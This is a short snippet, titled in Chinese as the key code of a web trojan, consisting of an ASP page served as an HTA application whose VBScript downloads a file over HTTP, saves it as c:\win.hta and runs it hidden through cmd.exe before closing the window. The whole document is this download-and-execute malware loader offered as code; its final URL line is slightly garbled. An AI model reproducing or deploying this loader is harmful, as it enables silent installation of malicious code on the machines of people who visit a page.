网页木马生成本地HTA页面关键代码
<%response.ContentType="application/hta"%>
<html>
<object id=wsh classid=clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B></object>
<script language="VBScript">
Function HttpDoGet(url)
set oReq = CreateObject("Microsoft.XMLHTTP")
oReq.open "GET",url,false
oReq.send
If oReq.status=200 then
HttpDoGet=oReq.responseTEXT
SaveFile HttpDoGet,"c:\win.hta" '在C:根目录下生成HTA文件
Set oReq=nothing
End if
End Function
'保存文本文件,生成本地HTA。
sub SaveFile(str,fName)
Dim fso, tf
Set fso = CreateObject("Scripting.FileSystemObject")
Set tf = fso.CreateTextFile(fName, True)
tf.Write str
tf.Close
exewin()
End sub
'运行函数
Sub exewin()
set wshshell=createobject ("wscript.shell" )
a=wshshell.run ("cmd.exe /c c:\win.hta",0)
window.close
End Sub
'得到本地HTA文件
HttpDoGet("
http://127.0.0.1/ism.mm";;)
</script>
</html>